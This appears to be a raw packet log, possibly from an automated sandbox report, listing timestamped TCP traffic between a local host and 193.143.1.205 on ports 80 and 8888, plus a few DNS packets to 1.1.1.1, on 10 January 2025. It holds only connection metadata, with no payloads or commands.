Jan 10, 2025 17:13:50.129699945 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129704952 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129718065 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129740000 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129740000 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129750967 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129765987 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129781008 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129786015 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129796982 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129808903 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129821062 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129821062 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129832983 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129844904 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129851103 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129858017 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129868984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129875898 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129885912 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129888058 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129894972 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129909992 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129921913 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129940987 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129961014 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129972935 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129985094 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129997015 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130001068 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130001068 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130001068 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130001068 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130008936 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130023003 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130023956 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130038023 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130049944 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130052090 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130072117 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130076885 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130084038 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130099058 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130111933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130119085 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130125046 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130136967 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130147934 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130150080 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130162954 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130165100 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130176067 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130187988 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130196095 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130201101 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130213976 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130222082 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130227089 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130239010 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130239010 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130254984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130266905 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130266905 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130280018 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.130300999 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130316019 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.130315065 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.131691933 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.133941889 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.133969069 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.133980989 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.133996964 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134012938 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134493113 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134506941 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134519100 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134531021 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134542942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134557009 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134557009 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134571075 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134579897 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134592056 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134598970 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134613037 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134624958 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134635925 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134637117 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134650946 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134660006 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134664059 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134675980 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134687901 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134687901 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134710073 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134718895 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.134725094 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.134742975 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.144644022 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.166198969 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.166237116 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.166249990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.166340113 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.166376114 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.167120934 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167138100 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167151928 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167166948 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167191029 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.167201996 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.167236090 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167331934 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167346001 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167359114 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167372942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167381048 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.167387009 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167402983 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.167411089 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.167437077 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.176353931 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176367998 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176379919 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176393032 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176405907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176418066 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176430941 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.176461935 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.176518917 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183382988 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183420897 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183433056 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183445930 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183458090 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183475018 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183487892 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183487892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183501959 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183509111 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183523893 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183535099 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183541059 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183548927 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183559895 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183562040 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183573008 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183583021 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183588028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.183621883 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.183648109 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.214915991 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215101004 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215121031 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215137959 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215153933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215167046 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215178967 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215181112 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215197086 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215210915 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215220928 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215225935 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215239048 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215245962 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215257883 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215274096 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215286016 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215296030 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215296984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215320110 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215327978 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215338945 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215339899 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215364933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215384960 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215389967 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215399027 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215410948 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215423107 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215423107 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215435982 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215445042 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215450048 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215461969 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215472937 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215475082 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215487957 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215501070 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215507984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215509892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215521097 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215534925 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215542078 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215548038 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215558052 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215572119 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215575933 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215588093 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215603113 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215672970 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215684891 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215692043 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215697050 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215703964 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215708971 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215722084 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215728045 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215734959 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215740919 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215754032 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215756893 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215764999 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215784073 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215784073 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215800047 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215806007 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215814114 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215820074 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215827942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215842009 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215847015 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215857983 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215872049 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.215872049 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.215912104 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.216028929 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216134071 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216145039 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216157913 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216169119 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216181040 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216192961 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216207027 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.216303110 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.221966028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.221988916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222006083 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222017050 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222027063 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222037077 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222044945 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222048998 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222059011 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222065926 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222069979 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222080946 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222091913 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222101927 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222111940 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222112894 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222121954 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222126961 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222136021 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222146034 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222146988 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222156048 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222167015 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222168922 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222177982 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222187996 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.222189903 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222210884 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.222229004 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.226654053 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.254487991 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254502058 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254508972 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254530907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254543066 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254554987 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254565954 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254578114 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.254625082 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.254679918 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.262808084 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262906075 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262926102 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262938976 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262948990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262960911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262972116 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.262972116 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.262983084 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.263011932 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.263053894 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.269367933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269444942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269455910 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269467115 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269478083 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269490004 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269500971 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269511938 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269521952 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269546986 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.269556046 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269567966 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269717932 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269725084 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.269725084 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.269730091 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269741058 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269752026 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269762039 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.269944906 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.301546097 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301558971 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301578999 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301590919 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301603079 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301614046 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301712990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301727057 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301738024 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301747084 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301759005 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301769972 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301781893 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.301801920 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.301801920 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.301801920 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.301837921 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.337858915 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:51.368283033 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:52.055326939 CET	49752	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:52.060229063 CET	8888	49752	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:52.060368061 CET	49752	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:52.060576916 CET	49752	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:52.065365076 CET	8888	49752	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:52.843935966 CET	8888	49752	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:52.888339043 CET	49752	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:52.913244963 CET	49752	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:14:06.704062939 CET	50596	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:06.708890915 CET	53	50596	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:06.709001064 CET	50596	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:06.713845015 CET	53	50596	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:07.154855013 CET	50596	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:07.159873009 CET	53	50596	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:07.159945011 CET	50596	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:53.985301971 CET	56132	53	192.168.2.10	1.1.1.1
